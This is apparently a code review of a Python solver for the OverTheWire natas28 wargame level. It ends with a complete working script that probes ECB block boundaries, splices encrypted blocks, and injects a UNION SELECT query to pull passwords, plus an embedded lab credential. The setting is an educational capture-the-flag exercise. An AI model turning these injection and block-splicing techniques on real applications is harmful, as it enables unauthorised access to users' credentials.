natas28 Padding Oracle Attack
Disclaimer:


There is no review for the crypto
The pieces of code below are based on a slightly modified code where the nested functions and lambda functions are renamed and extracted out to ease my understanding


Consistent spelling

It looks like nothing but having a mix of cypher and cipher makes the code tedious to read/update. Try to be consistent even if both spellings are valid.

Improving _block_size

A few things can be improved in _block_size:


Avoid calling len more than once on a given ciphertext (as of now, len is called twice on the first and last ciphertext computed).
Avoid performing the computation for an empty plaintext more than twice.
Avoid having to keep track of the count idx explicitly. We could use itertools.count to have this done automatically.


The first 2 points could be handled using additional variables and rewriting the loop. Then, taking into account the last point, we get:

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len &gt; pre_len:
            return cipher_len - pre_len


Improving _prefix_size

The logic around indexing makes it look more complicated that it really is. Using a variable for the current block and the previous block could make this clearer.

It is not clear what cipher_a means. We initialise it with "" but the code later on would not work with that value (TypeError: a bytes-like object is required, not 'str').
We should fail in a more explicit way when then value is not found. (This can be detected using the not-so-famous else for for loop which gets executed when the loops ends "normally", without a break).

Similarly, in the second loop when nothing is found, we return an implicit None which leads to another error (TypeError: 'NoneType' object is not iterable).

At this stage, we have:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block
    else: # no break
        assert False # Handle error properly here

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)
    assert False # Handle error properly here


Or if you do not plan to handle errors properly:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)


Improving natas28

The whole logic is pretty complicated. It probably deserves some explanations. Also, the variable names do not look very obvious to me.

The modulo computation could be slightly simplified. Indeed, in Python, x % y has the same sign as y. You could write: (-len(sql) % block_size)

The computations performed with index could probably be simplified: we add index "a" to a string, then compute the overall length, then substract index. 

sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]


Simplify SQL and parsing

You write your query to get something under the format username:password when you only care about the password.



Conclusion

I haven't changed much in your code. Just details here and there. I'm still wrapping my head around the crypto techniques used but it sounds very interesting.

import requests
import re
import base64
from urllib.parse import quote, unquote
import itertools

def cipher_text(session, url, plain_text):
    return base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len &gt; pre_len:
            return cipher_len - pre_len

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)

def natas28(url):
    session = requests.Session()
    block_size, index, cipher_size = get_prefix_size(session, url)
    cipher = cipher_text(session, url, 'a'* (block_size // 2))
    beg, end = cipher[:cipher_size], cipher[cipher_size:]

    sql = " UNION ALL SELECT password FROM users #"
    sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

    ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
    e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

    response = session.get(url + "search.php/?query=", params={"query": base64.b64encode(beg + e_sql + end)})
    return re.findall(r"&lt;li&gt;(.{32})&lt;\/li&gt;", response.text)[0]

if __name__ == '__main__':
     password = natas28('http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/')
     print("Password = " + password)